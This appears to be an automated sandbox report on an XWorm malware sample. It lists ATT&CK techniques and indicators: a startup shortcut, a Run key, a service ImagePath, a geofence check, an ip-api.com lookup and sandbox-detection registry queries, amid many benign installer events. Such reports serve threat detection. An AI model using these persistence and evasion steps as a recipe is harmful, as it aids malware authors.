xworm | bde9aa21edb27047da788869a13e5f81f6fc8beca594f07fb70236dca1a1f139

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VVWvPeqDFJHivLwwuKoWFWXw\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\VVWvPeqDFJHivLwwuKoWFWXw"	2.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-564748828-2201999071-3764224244-1000\Control Panel\International\Geo\Nation	vson I temp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-564748828-2201999071-3764224244-1000\Control Panel\International\Geo\Nation	svxspoofer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-564748828-2201999071-3764224244-1000\Control Panel\International\Geo\Nation	spoofer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-564748828-2201999071-3764224244-1000\Control Panel\International\Geo\Nation	VC_redist.x64.exe
Key value queried	\REGISTRY\USER\S-1-5-21-564748828-2201999071-3764224244-1000\Control Panel\International\Geo\Nation	vson I temp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-564748828-2201999071-3764224244-1000\Control Panel\International\Geo\Nation	svxspoofer.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Update.lnk	spoofer.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Update.lnk	spoofer.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 64 IoCs

pid	Process
1816	vson I temp.exe
3264	svxspoofer.exe
2208	temp.exe
1416	spoofer.exe
4812	dxwebsetup.exe
444	dxwsetup.exe
4660	Update.exe
14612	Update.exe
6460	infinst.exe
1292	infinst.exe
7284	infinst.exe
7204	infinst.exe
8036	infinst.exe
7992	infinst.exe
8348	infinst.exe
9956	infinst.exe
8892	infinst.exe
10208	infinst.exe
10520	infinst.exe
10864	infinst.exe
3784	infinst.exe
11448	infinst.exe
11860	infinst.exe
6956	infinst.exe
12404	infinst.exe
12740	infinst.exe
13116	infinst.exe
13384	infinst.exe
13844	infinst.exe
640	infinst.exe
1276	infinst.exe
1816	infinst.exe
15068	infinst.exe
14236	infinst.exe
14040	infinst.exe
16020	infinst.exe
16052	infinst.exe
1232	infinst.exe
6752	infinst.exe
6628	infinst.exe
7104	infinst.exe
6788	infinst.exe
7520	infinst.exe
7792	infinst.exe
8020	infinst.exe
8488	infinst.exe
9972	infinst.exe
9656	infinst.exe
9292	infinst.exe
8968	infinst.exe
10144	infinst.exe
10268	infinst.exe
10796	infinst.exe
11012	infinst.exe
5568	infinst.exe
11544	infinst.exe
15604	infinst.exe
12304	infinst.exe
12360	infinst.exe
12768	infinst.exe
12996	infinst.exe
13316	infinst.exe
13736	infinst.exe
2268	infinst.exe

Loads dropped DLL 64 IoCs

pid	Process
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
8392	regsvr32.exe
8392	regsvr32.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
444	dxwsetup.exe
8708	regsvr32.exe
444	dxwsetup.exe
444	dxwsetup.exe
10440	regsvr32.exe
444	dxwsetup.exe
444	dxwsetup.exe
11060	regsvr32.exe
444	dxwsetup.exe
444	dxwsetup.exe
11980	regsvr32.exe
444	dxwsetup.exe
444	dxwsetup.exe
5664	regsvr32.exe
444	dxwsetup.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-564748828-2201999071-3764224244-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update = "C:\\Users\\Admin\\AppData\\Roaming\\Update.exe"	spoofer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	dxwebsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\{804e7d66-ccc2-4c12-84ba-476da31d103d} = "\"C:\\ProgramData\\Package Cache\\{804e7d66-ccc2-4c12-84ba-476da31d103d}\\VC_redist.x64.exe\" /burn.runonce"	VC_redist.x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	dxwebsetup.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File created	C:\Windows\assembly\Desktop.ini	dxwsetup.exe
File opened for modification	C:\Windows\assembly\Desktop.ini	dxwsetup.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

persistence privilege_escalation

description	ioc	Process
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\N:	dxwsetup.exe
File opened (read-only)	\??\U:	dxwsetup.exe
File opened (read-only)	\??\Z:	dxwsetup.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\S:	dxwsetup.exe
File opened (read-only)	\??\K:	dxwsetup.exe
File opened (read-only)	\??\U:	dxwsetup.exe
File opened (read-only)	\??\A:	dxwsetup.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	dxwsetup.exe
File opened (read-only)	\??\K:	dxwsetup.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\B:	dxwsetup.exe
File opened (read-only)	\??\I:	dxwsetup.exe
File opened (read-only)	\??\Y:	dxwsetup.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	dxwsetup.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\E:	dxwsetup.exe
File opened (read-only)	\??\Y:	dxwsetup.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\N:	dxwsetup.exe
File opened (read-only)	\??\O:	dxwsetup.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	dxwsetup.exe
File opened (read-only)	\??\J:	dxwsetup.exe
File opened (read-only)	\??\P:	dxwsetup.exe
File opened (read-only)	\??\M:	dxwsetup.exe
File opened (read-only)	\??\T:	dxwsetup.exe
File opened (read-only)	\??\B:	dxwsetup.exe
File opened (read-only)	\??\G:	dxwsetup.exe
File opened (read-only)	\??\L:	dxwsetup.exe
File opened (read-only)	\??\W:	dxwsetup.exe
File opened (read-only)	\??\L:	dxwsetup.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\G:	dxwsetup.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\A:	dxwsetup.exe
File opened (read-only)	\??\J:	dxwsetup.exe
File opened (read-only)	\??\R:	dxwsetup.exe
File opened (read-only)	\??\M:	dxwsetup.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\H:	dxwsetup.exe
File opened (read-only)	\??\T:	dxwsetup.exe
File opened (read-only)	\??\I:	dxwsetup.exe
File opened (read-only)	\??\O:	dxwsetup.exe
File opened (read-only)	\??\P:	dxwsetup.exe
File opened (read-only)	\??\V:	dxwsetup.exe
File opened (read-only)	\??\E:	dxwsetup.exe
File opened (read-only)	\??\W:	dxwsetup.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\H:	dxwsetup.exe
File opened (read-only)	\??\X:	dxwsetup.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
27	ip-api.com

Detected potential entity reuse from brand MICROSOFT.
phishing microsoft

Drops file in System32 directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\X3DAudio1_3.dll	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Mar2009_d3dx10_41_x86.cab	dxwsetup.exe
File created	C:\Windows\system32\SET9206.tmp	infinst.exe
File opened for modification	C:\Windows\system32\d3dx9_33.dll	infinst.exe
File created	C:\Windows\SysWOW64\SET96D6.tmp	dxwsetup.exe
File created	C:\Windows\SysWOW64\SETA20B.tmp	dxwsetup.exe
File created	C:\Windows\system32\SETA500.tmp	infinst.exe
File created	C:\Windows\SysWOW64\SET8A59.tmp	dxwsetup.exe
File opened for modification	C:\Windows\system32\SET8D81.tmp	infinst.exe
File opened for modification	C:\Windows\SysWOW64\d3dx9_27.dll	dxwsetup.exe
File opened for modification	C:\Windows\system32\xactengine2_1.dll	infinst.exe
File opened for modification	C:\Windows\SysWOW64\SET9258.tmp	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\d3dx9_34.dll	dxwsetup.exe
File created	C:\Windows\SysWOW64\SET9B85.tmp	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\XAudio2_5.dll	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Jun2008_xact_x64.cab	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Jun2008_xaudio_x64.cab	dxwsetup.exe
File created	C:\Windows\SysWOW64\SETADF0.tmp	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\MDX_1.0.2903.0_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\d3dx9_33.dll	dxwsetup.exe
File opened for modification	C:\Windows\system32\SET94D5.tmp	infinst.exe
File opened for modification	C:\Windows\system32\SET99E5.tmp	infinst.exe
File opened for modification	C:\Windows\system32\d3dx10_42.dll	infinst.exe
File created	C:\Windows\system32\msvcp140_1.dll	msiexec.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Mar2008_d3dx9_37_x86.cab	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Nov2007_xact_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\SET9306.tmp	dxwsetup.exe
File opened for modification	C:\Windows\system32\SET94D4.tmp	infinst.exe
File created	C:\Windows\system32\SET9BAA.tmp	infinst.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Jun2010_d3dcsx_43_x86.cab	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Mar2009_xact_x64.cab	dxwsetup.exe
File created	C:\Windows\system32\SETAC92.tmp	infinst.exe
File created	C:\Windows\SysWOW64\SETB1C4.tmp	dxwsetup.exe
File opened for modification	C:\Windows\system32\mfc140deu.dll	msiexec.exe
File opened for modification	C:\Windows\system32\SET894B.tmp	infinst.exe
File opened for modification	C:\Windows\system32\xactengine2_9.dll	infinst.exe
File created	C:\Windows\SysWOW64\SETA13E.tmp	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\SETA5BE.tmp	dxwsetup.exe
File created	C:\Windows\SysWOW64\SETAEBF.tmp	dxwsetup.exe
File opened for modification	C:\Windows\system32\mfc140esn.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\SET9412.tmp	dxwsetup.exe
File opened for modification	C:\Windows\system32\SET99E6.tmp	infinst.exe
File opened for modification	C:\Windows\system32\xinput1_3.dll	infinst.exe
File created	C:\Windows\SysWOW64\SETA560.tmp	dxwsetup.exe
File created	C:\Windows\SysWOW64\SETAFF9.tmp	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Apr2007_xinput_x86.cab	dxwsetup.exe
File created	C:\Windows\system32\SET8FF2.tmp	infinst.exe
File opened for modification	C:\Windows\SysWOW64\SET8E87.tmp	dxwsetup.exe
File created	C:\Windows\system32\SET9E2A.tmp	infinst.exe
File opened for modification	C:\Windows\SysWOW64\SET9E7A.tmp	dxwsetup.exe
File created	C:\Windows\SysWOW64\SETA835.tmp	dxwsetup.exe
File created	C:\Windows\SysWOW64\SETABE8.tmp	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\SETB1C4.tmp	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Dec2005_d3dx9_28_x64.cab	dxwsetup.exe
File created	C:\Windows\SysWOW64\DirectX\WebSetup\Jun2007_xact_x86.cab	dxwsetup.exe
File created	C:\Windows\system32\vcamp140.dll	msiexec.exe
File opened for modification	C:\Windows\system32\SET966A.tmp	infinst.exe
File opened for modification	C:\Windows\SysWOW64\SET9D9C.tmp	dxwsetup.exe
File opened for modification	C:\Windows\system32\SET9EE6.tmp	infinst.exe
File opened for modification	C:\Windows\system32\SET8B4E.tmp	infinst.exe
File created	C:\Windows\SysWOW64\SET8E87.tmp	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\SETA20B.tmp	dxwsetup.exe
File opened for modification	C:\Windows\SysWOW64\SET9020.tmp	dxwsetup.exe
File opened for modification	C:\Windows\system32\SET91F5.tmp	infinst.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\msdownld.tmp\AS591A7A.tmp\Jun2008_xaudio_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS59218E.tmp\Aug2008_xaudio_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\assembly\tmp\3MZSQYLG\__AssemblyInfo__.ini	dxwsetup.exe
File created	C:\Windows\Microsoft.NET\DirectX for Managed Code\1.0.2902.0\Microsoft.DirectX.Direct3D.xml	dxwsetup.exe
File created	C:\Windows\Microsoft.NET\DirectX for Managed Code\1.0.2902.0\Microsoft.DirectX.DirectSound.dll	dxwsetup.exe
File opened for modification	C:\Windows\Logs\DirectX.log	infinst.exe
File created	C:\Windows\msdownld.tmp\AS58C322.tmp\Nov2008_d3dx9_40_x86.cab	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS58C6DB.tmp\Mar2009_d3dx9_41_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\Logs\DirectX.log	infinst.exe
File opened for modification	C:\Windows\Installer\MSIB60F.tmp	msiexec.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5923F0.tmp\Nov2008_x3daudio_x86.cab	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS593C3A.tmp\Aug2009_D3DCompiler_42_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\Logs\DirectX.log	infinst.exe
File opened for modification	C:\Windows\msdownld.tmp\AS58AC6E.tmp\Apr2007_d3dx10_33_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS59074F.tmp	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS59177C.tmp\Jun2008_x3daudio_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\DirectX.log	infinst.exe
File opened for modification	C:\Windows\Logs\DirectX.log	infinst.exe
File created	C:\Windows\msdownld.tmp\AS58F7FE.tmp\Apr2007_d3dx10_33_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS58FED4.tmp\Jun2007_xact_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS592680.tmp\Nov2008_xaudio_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS593C3A.tmp\Aug2009_D3DCompiler_42_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS594979.tmp\Jun2010_D3DCompiler_43_x64.cab	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS5957F0.tmp\MDX_1.0.2909.0_x86.cab	dxwsetup.exe
File created	C:\Windows\Microsoft.NET\DirectX for Managed Code\1.0.2906.0\Microsoft.DirectX.Direct3DX.dll	dxwsetup.exe
File created	C:\Windows\Microsoft.NET\DirectX for Managed Code\1.0.2902.0\Microsoft.DirectX.DirectDraw.dll	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS58EAFD.tmp	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS58FA8E.tmp	dxwsetup.exe
File created	C:\Windows\Microsoft.NET\DirectX for Managed Code\1.0.2902.0\Microsoft.DirectX.DirectPlay.dll	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS593DA2.tmp	dxwsetup.exe
File created	C:\Windows\Microsoft.NET\DirectX for Managed Code\1.0.2907.0\Microsoft.DirectX.Direct3DX.dll	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS590423.tmp\Aug2007_xact_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5934F7.tmp	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS594D51.tmp	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS59562B.tmp\MDX_1.0.2907.0_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS58D737.tmp\Jun2010_d3dcsx_43_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS58EA61.tmp	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS58DF26.tmp\Aug2005_d3dx9_27_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS591190.tmp\Mar2008_xact_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS59122D.tmp\Mar2008_xaudio_x86.cab	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS5935C2.tmp\Aug2009_d3dx9_42_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\DirectX.log	infinst.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5897CD.tmp	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS58B7A9.tmp\Mar2008_d3dx9_37_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\assembly\tmp\R1XFV3AZ\__AssemblyInfo__.ini	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS58B661.tmp	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS58EA61.tmp\Aug2006_xact_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS58E84E.tmp\Apr2006_xact_x64.cab	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS58EE2A.tmp\Oct2006_xact_x64.cab	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS58F1B4.tmp\Dec2006_xact_x86.cab	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS58FE18.tmp\Jun2007_xact_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5913A4.tmp\Jun2008_d3dx9_38_x64.cab	dxwsetup.exe
File created	C:\Windows\assembly\tmp\L7BLPM4B\Microsoft.DirectX.Direct3DX.dll	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS589EC2.tmp\Jun2005_d3dx9_26_x86.cab	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS58C516.tmp\Nov2008_d3dx10_40_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS590423.tmp\Aug2007_xact_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5931CA.tmp\Mar2009_x3daudio_x64.cab	dxwsetup.exe
File opened for modification	C:\Windows\DirectX.log	infinst.exe
File opened for modification	C:\Windows\Installer\MSIB92E.tmp	msiexec.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5872EF.tmp\dxupdate.cab	dxwsetup.exe
File created	C:\Windows\msdownld.tmp\AS58AF9A.tmp\Jun2007_d3dx10_34_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS58D68B.tmp	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS58E909.tmp\Jun2006_xact_x86.cab	dxwsetup.exe
File opened for modification	C:\Windows\msdownld.tmp\AS5908C6.tmp	dxwsetup.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 2 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File created	C:\Users\Admin\Downloads\dxwebsetup.exe:Zone.Identifier	firefox.exe
File created	C:\Users\Admin\Downloads\VC_redist.x64.exe:Zone.Identifier	firefox.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VC_redist.x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VC_redist.x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VC_redist.x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VC_redist.x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxwebsetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxwsetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VC_redist.x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VC_redist.x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxwebsetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxwsetup.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000057ded11c23971b510000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000057ded11c0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff00000000070001000068090057ded11c000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d57ded11c000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000057ded11c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe

Modifies data under HKEY_USERS 10 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a	msiexec.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E\@%SystemRoot%\system32\hnetcfgclient.dll,-201 = "HNetCfg Client"	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\29	msiexec.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3332f02-3dd0-4de9-9aec-20d85c4111b6}	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{d3332f02-3dd0-4de9-9aec-20d85c4111b6}\InProcServer32\ = "C:\\Windows\\system32\\xactengine3_2.dll"	regsvr32.exe
